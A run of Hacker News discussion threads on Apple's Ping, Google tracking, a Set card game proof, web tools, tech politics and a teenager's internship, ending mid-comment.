5-star rated songs and the music you actually like according to ping.
------
SeanLuke
> And I have no idea who Yo-Yo Ma and Jack Johnson even are.
oooookay.
~~~
warfangle
Yeah, this guy not knowing who one of the most skilled cellists on the planet
is kinda undermines any of his music-related credibility.
~~~
Swizec
And that's worse than Ping not knowing who The Doors are?
~~~
ptomato
Or more probably the artist pages are created by the artists.
~~~
riffic
or by labels
------
marknutter
I'm dumbfounded that they're using iTunes as the platform for this thing. Not
having it exist as a website is retarded beyond belief. I really hope this
isn't the fruit their Lala acquisition is bearing, because if it is it makes
me even more angry that they killed one of my favorite web apps. They should
have just rebranded lala as Apple Ping and been done with it. Huge fail so
far.
------
garyrichardson
Usually, Apple does a very good job of masking when a product is designed
purely to sell other products. For example is iTunes or the iPod the razor
blade? Ping is very sanitized and sterile. For the huge launch they did, there
is almost no content preloaded. Plus there is even less freedom then in the
app store.
For posterity, I'd like to record the following message:
These comments were all made when ping sucked. I'm sure that, similarly to the
iPod launch, Apple will fix Ping and use it to destroy facebook. 10 years from
now, all of these comments will look foolish.
Clearly Apple has gotten so good at making winning products they need a fresh
and new challenge. They've set the bar very high for themselves.
------
commieneko
I'll start off by saying that I personally will probably have little use for
Ping. My musical tastes are fairly, shall we say, idiosyncratic.
Having said that, Ping seems to be a targeted product, aimed at a particular
audience. It is a sales tool for music. If you fit the demographic it will
probably work pretty well. My guess is that computer geeks (include me) are
not the demographic Steve is aiming for. If you teenager, and listen to
whatever 90% of teenagers listen to these days, then it might work quite well
for you.
The product's success will not depend on how well people like the typical
Hacker News reader like it...
------
gokhan
Apple is like graphic artists back in the early days of the web. Only
experienced in the controlled print environment, the web pages they designed
was just images on static pages, but not web.
------
paulitex
Anyone else get so annoyed by the flashing little dummy avatars at the bottom
of the page that they couldn't finish the article? Shame too, I was liking it.
(is that an ad? or some kind of 'social feature'?? Something incredibly ironic
about this article if the latter)
~~~
zppx
Explained here: <http://news.ycombinator.com/item?id=1659814>
------
Qz
What is that random bar of faceless people on the bottom of the article page?
~~~
Swizec
It's LiveNetLife. They're trying to introduce live chatting features into
random websites and I thought I'd give the service a try. Mostly because I
personally know the founder.
~~~
Qz
Oh. Seems interesting... although the UI could use a little softening up. If
there's one thing I agree with Steve Jobs about it's rounded corners.
------
sledmonkey
The biggest problem for me is finding artists and people to follow. Why can
the Genius feature look at my library and suggest music to buy but in Ping I
get 14 suggestions that are all unrelated? Ok, facebook and apple are sorting
things out, but why do i have to enter email addresses? Why can't it look at
my apple address book and at least let me pick from that? Very messy rollout
and I can't help but think apple's secrecy and control is going to burn them
here.
------
protomyth
My one problem is in lieu of adding indy artists, I really wish Ping would
replace the alerts subsystem so I could follow any artist. I finally figured
out how to comment on albums and here is a link on how to like an individual
song ( [http://www.tuaw.com/2010/09/02/itunes-101-liking-a-song-
in-p...](http://www.tuaw.com/2010/09/02/itunes-101-liking-a-song-in-ping/) ).
On the wish side: kill suggested follows, allow comments / like audiobooks,
follow but do not display in profile artist (guilty pleasure).
------
siglesias
>>Fail #4 - obviously commercially inspired music recommendations are
obviously lametastic.
Is this the best critique of Ping HN could find, a poorly written, rage-
infused, explitive-riddled rant fest that one would expect to be found on
digg?
Ping came out _2 bloody days ago_! Who would expect that every niche artist
would be on this thing not even 48 hours in? I'm very impressed with the mix
they got on board pre-launch. Give it a couple of days.
By the way, how many users did Myspace, FB, or Twitter have 2 days in? Let's
use our heads here, folks.
~~~
jokermatt999
Considering they've had the whole Genius recommendations in place for quite
some time now, their complete failure at recommending relevant artists is
pretty bad. I've heard numerous complaints that the recommended artists were
nowhere near the user's taste.
~~~
siglesias
That's likely because artists who are presently on board Ping represent 1% of
1% of all of the artist data that exist in Genius. If the recommendation
engine is giving poor recommendations, it's probably because there is a lack
of variety now, and also because it's still learning based on user behavior.
Again, nothing that time can't solve.
------
houseabsolute
The only one of these that bothers me at all is the dearth of artists on the
network. But that alone is plenty fatal. I guess I'll try it again in a month
and see how uptake is then.
I'd say it's extremely premature to say it will fail, though. But I guess tech
pundits love to jump to conclusions based on opening day impressions.
------
blhack
Here is why ping will fail:
I heard about it a couple of days ago, but never really gave it much thought
because, honestly, I don't really even know what it is _for_. Streaming music?
Better than grooveshark? Not likely if its run by Apple.
After seeing this article (and the one directly below it as of right now), I
decided I should check it out.
Hmmm...do I go to ping.com (no, because I'm pretty sure that ping golf clubs
aren't going to sell their domain), or apple.com/ping? No, that says "the page
you're looking for cannot be found".
Okay, then, duckduckgo it is! Hmm...apple.com/itunes/ping, that is a lot to
type...stupid move, apple, whatever.
_click_
Annnndddd...nothing? I have to launch iTunes to even see what this is?
iTunes, right, the software that won't let me play half of my audio files
because Apple refuses to allow flac?
So I have to get out my laptop, open it, launch itunes, _then_ figure out how
to get to ping?
The barrier to entry, at least for me, is way to high.
~~~
mcgraw
Well, that's nice, but they're not targeting you. They're targeting the
millions of people that listen to music through iTunes everyday which are
likely wondering what their friends are listening to. If you don't use their
product, or have very little desire to in the first place, it doesn't qualify
as a failure.
------
hyramgraff
This article disappointed me. I was expecting a good hacker's rant about
/sbin/ping.
~~~
danieldk
Exactly :). One nice Slashdot comment:
"That's gonna be awesome for internet help-desk workers. How about creating a
Flickr clone and calling it ifconfig?" (Steauengeglase)
------
athom
Just goes to show how out of the loop I am when it comes to Apple. I read the
title, wondered if it was about the internet echo test command, and then
wondered, how the heck would they screw THAT up??!
------
jckarter
That the author more or less admits to confirmation bias in the very first
paragraph kind of colors their conclusions, regardless of whether Ping
actually sucks or not.
------
DanielN
the really disappointing thing about ping is that unlike last.fm, apple has
access to the binary file for itunes and so could provide even more info about
your listening habits.
I assume last.fm's scrobbler works entirely from the unencrypted itunes file
which only gives play count.
------
KirinDave
An inflammatory jackass who doesn't know who Yo-Yo Ma is and who thinks Apple
would ever consider Gravatar support gets this much interest on news.ycomb?
And did you notice it's a self-submit? Classy.
Lately it seems like this discussion group has become increasingly anti-Apple.
It didn't use to be this way, originally it was far more neutral. I wonder
what's changed?
~~~
dhess
> _Lately it seems like this discussion group has become increasingly anti-
> Apple. It didn't use to be this way, originally it was far more neutral. I
> wonder what's changed?_
HN is frequented by developers. Probably, the increased hostility is at least
partly a reaction to Apple's iOS App Store policies.
~~~
KirinDave
Really? Is there that much ire? Why don't they get over it and dev for
android?
------
hopeless
So Ping won't be available outside of the U.S.? Well, thank f*+k for that!
~~~
danieldk
Huh? I am using Ping without any problems from the Netherlands, with a Dutch
iTunes account.
------
dstnbrkr
Stopped reading when he said he didn't know Yo-Yo Ma.
------
jcromartie
I don't know why Apple thought anybody wanted this.
------
code_duck
Yeah, well... so is Facebook, so is Twitter, so is Windows, so is pretty much
everything. Who cares.
------
orenmazor
your itunes account is "hacked"? pimped out, is it? is it lowered too?
hellaflush.
no, ping is not very useful right now. I'm sure they'll figure out how to
improve it. apple frequently starts with a small wedge and then innovates on
top of it.
~~~
gloob
It is worth noting that said "small wedge" has (historically) been a _good_
small wedge. The point is, people seem unconvinced of the magicality or
revolutionariness of this particular wedge.
~~~
orenmazor
people are frequently unconvinced of a lot of things. and that's a good thing.
its the fundamental principle of science.
its the reaction and tone that bother me, not the content.
------
muhfuhkuh
So, that settles it: No scrobbling. Less artists than last.fm. Lame. [1]
Looks like ping is another home run.
[1]With all apologies to Rob Malda:
<http://apple.slashdot.org/article.pl?sid=01/10/23/1816257>
| {
"pile_set_name": "HackerNews"
} |
Google doesn't want you to limit its ability to follow you around the internet - rosser
http://www.theguardian.com/commentisfree/2014/jul/26/google-ability-follow-users-internet-advertisements
======
leepowers
In principle, I have no problem with web companies tracking my movements and
habits online. The problem with the current system is that they are doing it
without my consent. I have no problem disclosing my Amazon shopping history
(or current shopping cart) to Overstock - maybe Overstock will offer me a
better deal.
You know what would be awesome? A global, secure, private and auditable web
session and personal information management system. I want to be the arbiter
of who has access to my metadata. (Given the huge amounts of metadata I
product in a given year we might as well just call it "data"). If the contents
of my hard drive are sacrosanct why should the data I provide to Comcast,
Verizon, Google, Amazon, Apple, etc. (which dwarfs the capacity of my hard
drive) be any different?
| {
"pile_set_name": "HackerNews"
} |
Simple Set Game Proof Stuns Mathematicians - retupmoc01
https://www.quantamagazine.org/20160531-set-proof-stuns-mathematicians/
======
Xcelerate
> The paper soon set off a cascade of what Ellenberg called “math at Internet
> speed.” Within 10 days, Ellenberg and Dion Gijswijt, a mathematician at
> Delft University of Technology in the Netherlands, had each independently
> posted papers showing how to modify the argument to polish off the original
> cap set problem in just three pages.
This is a very interesting trend I've noticed. I wanted to cite a few papers
on arXiv in one of my own research papers recently, but my advisor commented
that none of the articles had been peer reviewed (since arXiv is a preprint
server). I told him that in the last year alone, six papers on arXiv follow a
"research trail" (i.e. a paper is put on arXiv in May that builds on results
from a February paper that builds on results from December, etc.), and that
the most recent peer-reviewed article in a published journal is so far behind
the state-of-the-art that completing my paper without any mention to the arXiv
works would put me significantly behind the rest of the field.
Of course, these papers all relate to math and computer science — whether a
new algorithm or proof works is (usually) immediately evident upon
implementation, and the papers on arXiv include the complete algorithm and
often link to the author's code. Peer-reviewing their work yourself often
takes no longer than a half hour or so (unlike, say, a research article in
materials science, where a complete replication study could take over a year).
~~~
Ankaios
That has been common in physics for a long time, too. For hot new topics, the
conversations are often happening through preprints rather than peer-reviewed
articles. (The papers are usually eventually published in peer-reviewed
journals, though.)
~~~
MichaelBurge
Building on research seems like it's a form of peer review, especially in math
where you'd need to understand the entire proof before making incremental
improvements to it.
~~~
abritinthebay
While this _can_ be true it's also common to have "assuming X is true" where X
is some very complicated hypothesis.
We saw this with Fermat's Last Theorem and it was with a great sigh of relief
that it _was_ finally proven in the 90s. If the inverse was true then entire
fields of Mathematics would have collapsed.
~~~
throwaway676565
> If the inverse was true then entire fields of Mathematics would have
> collapsed.
Honest question: what would've been the consequences of this?
~~~
btilly
The consequence is that a whole body of work winds up coming with an asterisk
until people figure out what they can and can't trust. Papers may be looked at
for inspiration, but won't be quoted for results. Eventually some of it gets
proved properly, and the rest is abandoned. After that the older papers become
mere historical curiosities.
A reasonably recent example of this is the
[https://en.wikipedia.org/wiki/Italian_school_of_algebraic_ge...](https://en.wikipedia.org/wiki/Italian_school_of_algebraic_geometry).
A possible place where this could happen is the classification of finite
groups. It has been "proven", but the proof is long, technical, and never was
adequately reviewed. Lots of papers these days start off using the
classification in interesting ways. However there is an open program to
produce an actual reviewed proof. If in the process of doing that, we found
that the original result was long, there would be a fairly large project to
figure out the consequences.
See
[https://en.wikipedia.org/wiki/Classification_of_finite_simpl...](https://en.wikipedia.org/wiki/Classification_of_finite_simple_groups)
for more.
~~~
tamana
But when the results are useless anyway, it doesn't really matter if they are
right or wrong...they just may be speculative of some alternate universe, or
may still contain ideas that are applicable elsewhere.
~~~
Natanael_L
Prime numbers used to be useless when first researched (edit: during the
previous two centuries, when their properties was studied). We don't always
know in advance what will turn up useful.
~~~
kragen
You say, "Prime numbers used to be useless when first researched," but when
the Middle-Kingdom Egyptians were doing their initial research on prime
numbers, they needed them for the algorithms they used to calculate with
fractions. These were used in the Rhind Papyrus to calculate things like the
volumes of granaries. You could hardly have picked a worse example.
~~~
btilly
No, he picked a famous and perfect example. He just didn't specify it well
enough.
Over the last 2 centuries, number theorists developed the theory of large
prime numbers. The numbers that they were dealing with were so large that they
had no conceivable use in describing the physical universe.
Famously one prominent number theorist, G. H. Hardy, wrote _A Mathematician 's
Apology_, a book describing and justifying his life. In it he famously
described his field as being utterly useless with no practical applications.
Then cryptography came along, and the mathematics of finding large prime
numbers, and factoring hard to factor large numbers, turned out to have
practical applications of great importance!
~~~
kragen
Please don't blame me for refuting what he did say, instead of what he would
have said if he'd known what he was talking about.
~~~
btilly
From my point of view, both of you demonstrated a lop-sided knowledge of math
history.
Clearly you know more about the ancient history and origins. I'd be willing to
bet that you know that the ancient Greeks knew 2500 years ago what prime
numbers were, had proved that there were an infinite number of them, had
algorithms like the Euclidean algorithm for finding the greatest common
denominator, had proven unique factorization AND had demonstrated that sqrt(2)
was not a fraction. We don't actually know how much farther a lot of the
knowledge goes.
On the other side he had obviously encountered cryptography, and knew that a
whole lot of the necessary number theory dates back to Gauss, 200 years ago.
[https://en.wikipedia.org/wiki/Disquisitiones_Arithmeticae](https://en.wikipedia.org/wiki/Disquisitiones_Arithmeticae)
is the origin of concepts like modular arithmetic, quadratic residues, and so
on. But he was not familiar with the ancient history predating that, or else
he could not have thought that the study of primes only goes back 200 years!
He could have avoided the problem on his side by Googling for what he was
going to say before saying things with glaring and obvious errors. Very few of
us are so careful.
You could have avoided the problem on your side by giving him the benefit of
the doubt and assuming that he's probably not a complete idiot, then trying to
figure out what he might have meant. You might or might not have figured out
"cryptography", but you could have at least made your post in the form of a
much more pleasant question. However that is fairly rare to find, and doubly
so online.
As for me, I'm just lucky enough to know both halves of the history, so could
easily sort it out.
~~~
kragen
Ben, I'd've thought you'd known me long enough to know that I'm familiar with
RSA and the history of number theory. (Maybe I misremember; you seem to have
started doing Perl after I left clpm.) I read _A Mathematician 's Apology_
last year (most of it, anyway), and my friend Nadia keeps publishing papers
that factor large numbers of RSA keys in practice, the latest being
CacheBleed. Your understanding of cryptography is surely deeper than mine —
the most I've ever done myself is write an implementation of SRP — but it's
not as if I haven't heard of the field.
I had thought that it was common knowledge that (small) prime numbers had a
lot of practical uses (mental arithmetic in general, arithmetic with
fractions, including with vulgar fractions, gear train design, that kind of
thing) but apparently I was wrong. It turns out that lots of people don't know
about this. So my inference, that only a complete idiot would not know this,
he did not know this, and therefore he was a complete idiot, was ill-founded.
And so I came out looking like some kind of ignorant, arrogant know-it-all. I
really appreciate the feedback, Ben. Natanael_L, I'm sorry I was such a dick
to you.
~~~
btilly
I am familiar with your name, but hadn't tracked you well enough to remember
anything more than, "He knows Perl." I left Usenet about a year before I
learned Perl, so I was never in clpm.
So you just failed to register the cryptography reference and then backsolve
to what he really meant. If that's the worst thing that you did last month,
then you're a better person than I...
------
tokenadult
A lot of the history of mathematics is summed up in the last paragraph of this
very interesting article. "The fact that the cap set problem finally yielded
to such a simple technique is humbling, Ellenberg said. 'It makes you wonder
what else is actually easy.'" Mathematical progress comes about by some
mathematician noticing a pattern that makes solving a formerly difficult
problem more easy than solving it used to be. (For this purpose, innovations
like place-value decimal numeral notation fit the preceding statement.) Of
course the hard thing is being the first human being to figure out the easy
way to solve the problem, and then to embed that understanding in a technique
that other problem-solvers can learn. But the increasingly rapid collaboration
among mathematicians these days (mentioned in a comment posted earlier) speeds
the uptake of new techniques and makes more likely that new understanding will
rapidly spread among mathematical problem-solvers.
------
pnut
I did really well in school, and am a professional developer now, and my wife
utterly destroys me at this game.
She can find sets in real time as the cards are being dealt, while singing
along with music, it's maddening.
~~~
dhekir
Could it be somehow related to better peripheral vision?
I met a woman once who could gather four-leaf clovers nearly instantly, at the
same spot where me and my male friends had spent minutes searching.
I've seen written in some places (but could not find a worthy source) that
women might have better peripheral vision due to food gathering in prehistoric
times, but this might just be some old sexist construct (if anyone knows a
good source to confirm or refute this, please tell me).
~~~
mundo
Funny anecdata: in my circle of friends, the trait that best predicts Set
skill isn't IQ or gender or anything like that, it's musical ability.
This came up at a party. Six people playing Set, all of us from different
cities, and the three that took band in high school utterly dominated the
three that didn't. The reason? Field trips. The Band kids had all played Set
for hours on buses, the rest of us had only played it once or twice and lost
interest.
~~~
function_seven
I like how you introduce a correlating attribute in the beginning of your
comment, get me thinking about the relationship between musical ability and
set-identifying ability, then clobber whatever hypothesis I was putting
together just as fast with the confounding "field trips" variable.
Nice work :)
~~~
tamana
But why is set so popular on band trips, but not football trips?
~~~
function_seven
I'd guess that the players on a football team would be reviewing the playbook
all the way up until kickoff. Meanwhile the band isn't going to be practicing
their performance on the bus.
------
henrik_w
Nice to read about mathematics that involves Set! I found out about Set here
on Hacker News several years ago, when I read Peter Norvig's blog post on the
odds of not finding a set in the 12 cards [1]. I had never heard about the
game before, but tried it and really liked it.
The simplicity of the rules, the mathematical nature of it, and the fact that
adults and kinds can play together makes it such a great game. I continued
with the analysis of finding the odds of not set in each round of play, and
had fun doing so. It seems very difficult to find an analytical solution (and
quite beyond me), but simulation was a nice project that gave some good
insights into how the odds vary over the rounds played [2].
[1] [http://norvig.com/SET.html](http://norvig.com/SET.html)
[2] [https://henrikwarne.com/2011/09/30/set-probabilities-
revisit...](https://henrikwarne.com/2011/09/30/set-probabilities-revisited/)
~~~
zem
the similar but easier game "spot it!" works better for playing with kids, i
find. (i prefer it as an adult too - i thought i'd love set, but playing it
feels more like work than fun to me.)
~~~
dkurth
There's some interesting analysis of the math behind Spot It! on stackoverflow
[1].
That post mentions the Fano Plane, which, incidentally, I first read about in
the book How Not to Be Wrong by Jordan Ellenberg, a mathematician quoted in
the article about Set that started this thread. In the book, he uses the Fano
Plane to explain how to pick numbers for a specific kind of lottery.
[1] [http://stackoverflow.com/questions/6240113/what-are-the-
math...](http://stackoverflow.com/questions/6240113/what-are-the-mathematical-
computational-principles-behind-this-game)
~~~
zem
thanks, that was a beautiful thread! also a really good diagram explaining the
projective plane.
------
jerf
For those who check the comments first: Not clickbait. Title is literally
accurate.
~~~
joe_the_user
Oh come on,
The title and the article seem to be essentially accurate but are written in a
breathless "we'll make this math stuff exciting, darn it" tone that some might
like but which, as a math person, I find somewhat grating.
I think science/math writing of twenty or forty years ago was still reasonably
effective and with that, we could get-by with a headline such as "A impressive
result in the combinatorics field that uses the 'polynomial method'"
Edit: I appreciate that quantamagazine.org is doing a bunch of math articles.
But we gotta admit it's injecting about every bit of "this is simply
amaaaazing" rhetoric it can muster, which detracts somewhat from at least my
enjoyment of it and actually it a harder to figure what's happening (from MA-
level perspective).
~~~
tgb
As a grad student in math I read a lot of lifeless papers. Seeing the exact
opposite is fun. I thought it was a good article. Why does math need to avoid
breathlessness if we seem to embrace it with, say, a million breathless
articles about Stephen Curry's latest game? It only seems bad because there's
not a culture of excitement over math like there is for basketball, so it
stands out. But if we want there to be such a culture, maybe we need to start
by taking every bit of excitement we have and stretching it to the fullest.
~~~
schoen
Martin Gardner was very good at that, and I think Erica Klarreich (one of the
main Quanta math journalists and the author of this particular article) is
good at it too: she likes to focus on the history and context of a problem,
describing mathematicians' expectations and hopes for a solution, and then how
progress was made and what consequences it may have.
I guess there's some risk that many of these stories fall into similar
patterns (something was hard and mathematicians worked on it for a long time,
they didn't expect it to be solved soon, now it's been solved solved and
people are impressed and see various applications), but it's nice to see the
details and hear from some people in the field in their own words.
I feel like Klarreich tends to give more details than Gardner did when writing
about current research; maybe that partly has to do with the web form, because
she can include links to the actual papers and supplementary materials. It's
also a nice counterpoint to the enthusiasm that her articles convey because
the applications and consequences are _specific_ ; it's not like journalism
that says "maybe now we'll get a pony/interstellar spaceflight/spooky quantum
communications/faster computers!" without really showing how the discovery is
going to enable that.
The fact is that mathematicians are excited by unexpected progress in math
research, so hopefully other people can be too! :-)
------
bdamm
Wonderful piece; what I like is that I remember this game being taught to me
by the mathematics professors at my school, and I enjoyed the game but didn't
ask any deeper questions about the game, such as its mathematical properties.
Now here I see this way of looking at the game, perhaps even the reason for
its existence, and it's like rediscovering an old friend.
------
esturk
To me the most exciting part is that this may lead to a faster fast matrix
multiplication algorithm which will be huge. The current bound is O(n^~2.372).
They could very feasibly hit the theoretical limit of O(n^2+e).
------
aaron695
Maximal size of cap sets for games with up to six attributes -
2 4 9 20 45 112
[https://oeis.org/A090245](https://oeis.org/A090245)
------
delhanty
Another good link concerned with this problem is from OEIS:
[https://oeis.org/A090245](https://oeis.org/A090245)
"Maximum numbers of cards that would have no SET in an n-attribute version of
the SET card game"
The OEIS links appear to have been updated to reflect the recent breakthrough
of Ellenberg and Gijswijt, including their unified paper arXiv:1605.09223 from
May 30.
------
dmd
For your entertainment... [http://3e.org/set](http://3e.org/set)
------
furyofantares
I don't understand the Alice imagery (nor the witch, not sure if that is also
Alice imagery somehow) -- any ideas?
~~~
MaysonL
The witch appears to be the Red Queen. (Rotate her head about 135 degrees ccw
and you get what is close to the symbol for a chess queen).
------
syastrov
Can anyone explain how these polynomials are generated? Are the constants or
exponents based on the card characteristics? And if it is not understood why
they work, then how can we use them in a proof?
------
twic
Again with the Ramsey theory! Every day, i'm reading about some amazing new
result in Ramsey theory! It's like the microservices of discrete mathematics!
Enough already!
~~~
andrewflnr
I've been bumping into it a lot, too. I think it started with the ZFC-
independent turing machines a while back.
------
graycat
IIRC "Elegance in mathematics is directly proportional to what you can see in
it and inversely proportional to the effort required to see it" \-- S.
Eilenberg
------
OJFord
> a different design with four attributes — color (which can be red, purple or green),
Was this game invented to annoy the colour-blind?
~~~
schoen
It was invented based on the file-marking symbols used by a geneticist for
genetics research:
[http://www.setgame.com/founder-inventor](http://www.setgame.com/founder-
inventor)
[https://web.archive.org/web/20130313190253/http://www.setgam...](https://web.archive.org/web/20130313190253/http://www.setgame.com/set/history.htm)
You can play a variant of Set in a single color (which the rules suggest is
easier -- but it's also more feasible for color-blind players).
------
ctdonath
iOS app of the referenced game:
[https://appsto.re/us/EXmoU.i](https://appsto.re/us/EXmoU.i)
Physical version of the game is available, I suggest adding it to your
collection.
~~~
MontagFTB
Variants exist on the web as well, e.g.,
[http://thebreretons.com/trifecta/](http://thebreretons.com/trifecta/)
| {
"pile_set_name": "HackerNews"
} |
Js_of_ocaml: a compiler of OCaml bytecode to Javascript - ColinWright
http://ocsigen.org/js_of_ocaml/manual/
======
mas644
Awesome! I love OCaml and this is a great way to get some apps running in the
browser. I particularly like the simple OpenGL example with the 3D globe.
Great way to get your app onto multiple platforms quickly.
| {
"pile_set_name": "HackerNews"
} |
Kevin McCarthy leads charge against Silicon Valley - petethomas
http://thehill.com/homenews/house/404642-mccarthy-leads-gop-charge-against-silicon-valley
======
saagarjha
> After sharing a screenshot of a tweet from Fox News host Laura Ingraham that
> was covered by language warning of “potentially sensitive content,” Twitter
> users were quick to point out that Ingraham’s tweet was covered up due to
> settings in McCarthy’s own Twitter account, not because of a company
> campaign to silence conservative voices.
It's kind of sad that the people out to regulate technology companies aren't
really all that familiar with technology themselves.
~~~
awinder
Yeah, but Kevin McCarthy isn’t out to actually regulate anyone. He’s just
paying tribute to His Orangeness, and maybe offering some red meat to
republican voters, before he loses his position in a few months. This is a
risk free move, given that there won’t be any ability to follow through. But
it is pretty much garden variety poor leadership / waste of money.
------
anoncoward111
Why don't you try privately funding a platform where you can tolerate all the
types of speech that you wish to tolerate?
Innovation is hard innit?
~~~
api
It's not even hard. Gab and Voat exist. No innovation is needed to set up a
social site. You can run a sizable one for less than a few hundred a month
given how cheap cloud hosting has become.
~~~
anoncoward111
Interesting. The main problem being Twitter's entrenched/sticky network
effect?
Just a couple hundred donators could support the whole project with a few
bucks, a la Dwarf Fortress or many hundreds of Youtubers
~~~
spamizbad
I don't think there's any real problem here: conservatives in washington wants
their base to think there's a conspiracy against them in tech.
The technology industry employs large numbers of people who are college-
educated, millennials/yougner Gen-Xers and/or Asian-Americans: people who
demographically skew left. This alone makes our industry suspect to the
conservatives.
Isn't it odd that Steve Bannon starts publicly ranting about there being too
many Asians in Silicon Valley and now all of a sudden we're far too liberal
and censoring conservative voices... despite the fact that both Facebook and
Twitter have been utilized deftly by conservatives to spread their message and
communicate with their voters?
~~~
aaronbrethorst
It's called "working the refs":
[https://www.google.com/search?client=safari&rls=en&q=%22work...](https://www.google.com/search?client=safari&rls=en&q=%22working+the+refs%22&ie=UTF-8&oe=UTF-8)
~~~
sremani
Are you kidding me? I do not know who refs, but if Social Media companies are
your refs, god bless your children.. then need lot of luck!
Here is an interesting exercise - name 5 silicon valley conservative
stalwarts.
~~~
spamizbad
> Here is an interesting exercise - name 5 silicon valley conservative
> stalwarts.
Marc Andreessen, Peter Thiel, Palmer Luckey, Tom Perkins, David Sacks.... and
for extra credit: Jeremy Tunnel, Curtis Yarvin, Brendan Eich, Meg Whitman,
Carly Fiorina, Ted Dzuiba...
------
torgian
So... this is just the start. You know the next step is the government taking
control over what tech companies can do when it comes to dissemination of
information.
I'm gonna say it now: In 20 years, large tech companies in the States are
going to be controlled by the US government, much like how China controls (or
at least has direct oversight) large companies within their borders.
| {
"pile_set_name": "HackerNews"
} |
Is it better to take notes with a pen than by typing? Much better. - azewail
https://www.scientificamerican.com/article/a-learning-secret-don-t-take-notes-with-a-laptop/
======
anoncoward111
I've been given the task of handwriting thank you cards at my job, and within
the first 4 or 5 cards, I had already memorized the multiple paragraphs worth
of "script" I was given.
I was shocked! I've always had a horrible memory.
| {
"pile_set_name": "HackerNews"
} |
GitHub Marketplace - dewski
https://github.com/marketplace
======
chobberoni
More information on the GitHub Marketplace here:
[https://github.com/blog/2359-introducing-github-
marketplace-...](https://github.com/blog/2359-introducing-github-marketplace-
and-more-tools-to-customize-your-workflow)
| {
"pile_set_name": "HackerNews"
} |
Learning Node, Express, Jade, MongoDB from scratch - pranavpiyush
http://www.pranavpiyush.com/web-app-with-node-express-jade-mongoose-and-mongodb/
======
jedireza
This is the same stack that Drywall is built with. When you're ready to get
past a simple hello world app, please take some time to checkout the project.
[http://jedireza.github.io/drywall/](http://jedireza.github.io/drywall/)
~~~
jasoncwarner
Care to give elevator pitch for drywall? I checked it out and looks
interesting, but wanted to see where you were going with it.
~~~
jedireza
Hey Jason, thanks for taking a look. Right now it's just an open source
project of mine, not a business or anything. If something isn't clear after
reading the GitHub page, please open an issue or send me an email. I've
started breaking out wiki pages from questions I've received. My main focus
right now is getting more eyes on the project and gathering feedback.
------
BenderV
I have been learning Node, Express, Redis and SocketIO this week-end on
CodeSchool. That was really great (fun, quick, interesting)
For those you want to try it, here is a 2 day pass :
[http://go.codeschool.com/jxYVXA](http://go.codeschool.com/jxYVXA)
(No affiliation)
~~~
hackerboos
The course:
[https://www.codeschool.com/courses/real-time-web-with-
nodejs](https://www.codeschool.com/courses/real-time-web-with-nodejs)
------
karangoeluw
Site is down.
~~~
pranavpiyush
guess I need to change my hosting provider... didn't expect so much traffic...
~~~
caffeinetocode
Godaddy.com :)
I understand why your site is down :)
~~~
pranavpiyush
Hah... it was actually Westhost - don't know why I'm still using them. Called
them and seems like I hit the limit on simultaneous clients allowed.. :/
Now begins the search for better blog hosting... any ideas?
~~~
imjared
github pages + jekyll should work nicely for you
~~~
pranavpiyush
thanks - didn't know that was possible. upgrading now.
------
ing33k
welcome to HN effect :)
~~~
pranavpiyush
lesson learnt for sure...
| {
"pile_set_name": "HackerNews"
} |
Material Design is design science - daviducolo
https://medium.com/@danhollick/material-design-is-design-science-6c99c1d76498
======
TheSpiceIsLife
From the article:
"Time is a heavily neglected aspect of user experience. Humans don’t just
experience states of a device, they experience the transition between states
too. States with hard cuts between them are jarring for the the user. If an
actor in a play were to exit stage right and re-enter moments later from stage
left, the audience would notice the lack of continuity. It would be jarring.
It would release the immersion."
This is everything I dislike about the 'mobile experience' and exactly why I
like using a CLI. I tend to believe I'm not alone.
Oh the glory days of the HP OmniGo 700LX! [1] 1996 'smartphone' (well, it had
a _built in Nokia 2110_ ), UI with quicker response to user input and screen
transitions than most non-flagship smartphones 20 years younger (maybe I'm
exaggerating and should upgrade my 4yo smartphone).
[https://www.youtube.com/watch?v=J1UtCJ84Ris](https://www.youtube.com/watch?v=J1UtCJ84Ris)
------
thomasfl
Ask HN: Who's best at creating animated websites these days? Except Google.
Functional animations with properly choreographed UX elements has been the
next frontier in web design for some time now.
| {
"pile_set_name": "HackerNews"
} |
Show HN: Automate Multiple RSS Feeds in Mailchimp Newsletters - jamesq
https://fliprss.com
======
jamesq
We've just launched the public beta of FlipRSS and would welcome any feedback
on the website, brand and product.
It's been a fun 4 week project based on the needs of a client and it's been
great to ship beta.
| {
"pile_set_name": "HackerNews"
} |
My Internship Experience as a 13-Year-Old - shainvs
http://www.shalinshah.me/my-internship-experience/
======
onedev
Man when I was that age, my only concern in the world was trading Pokemon
cards after school. I wouldn't have given up that carefree experience for the
world.
I don't know how I feel when I read about things like this.
It starts off as jealousy that the kids started their "career" at such a young
age, then respect towards them for the same reason, but then I feel sad
because at the end of the day I feel like they're being robbed of a childhood
in some ways.
Then I go back and read, and it seems like the kid had a lot of fun, and maybe
_I 'm_ the one who's lacking perspective.
I don't know. I think it's great at the end of the day. Obviously smart kid,
and he'll go places, but I just don't want him to miss out on the more
lighthearted times in his life.
~~~
scotty79
> I wouldn't have given up that carefree experience for the world.
How do people get that feeling? I don't remember being carefree ever in my
life. I can imagine being carefree but I also can imagine taking a walk on the
surface of Mercury. Childhood is such a crappy time filled with school,
illness taking forever, boredom taking forever, being tired, hurt and in pain.
Each time I finished some school I felt awesome because I knew I won't have to
deal with that crap and those teachers anymore. Best thing about school is
that when holidays come you can forget all you learned last year. No-one will
ever examine you on that. I remember growing up as progressing freedom to not
do the stuff I don't want to do. Life was definitely easier as it went.
The joy I remember from childhood was reading books about physics and
chemistry and running experiments in my head. I'd be delighted if someone gave
me internship in some lab where I could help with actually performing them.
~~~
mercer
Interesting perspective. I had the luck, in hindsight, to have ridiculous
amounts of freedom until the age of 16. I was homeschooled with my brothers
(and eventually two close friends of the same age) and a fresh-out-of-teacher-
school 'teacher' who wasn't very good, but was our friend. We had school at
her apartment and then all had lunch at my house.
Then from age 13 on I was allowed to work at home, where I would usually
either skip my homework or use the answer booklet to do it quickly. On a given
day, I would spend at most four hours on 'school' and then do whatever I
wanted. At first I probably abused this freedom, which led to boredom. So very
soon, I started reading every book I could get my hand on, learned some
programming and spend most of my early afternoons to evenings playing with
kids in the neighbourhood.
Then at the age of sixteen I returned to 'normal' life and had massive
difficulties adjusting to the regular school system, but I made it through and
went on the university.
Experiences such as yours solidify my view that the school system we all grow
up with is flawed. It teaches us that learning isn't fun, and makes us do
silly things and jump through pointless hoops.
To be fair, school has to deal with all sorts of kids. If others had been
given my freedom they might not have gravitated towards learning, and failed
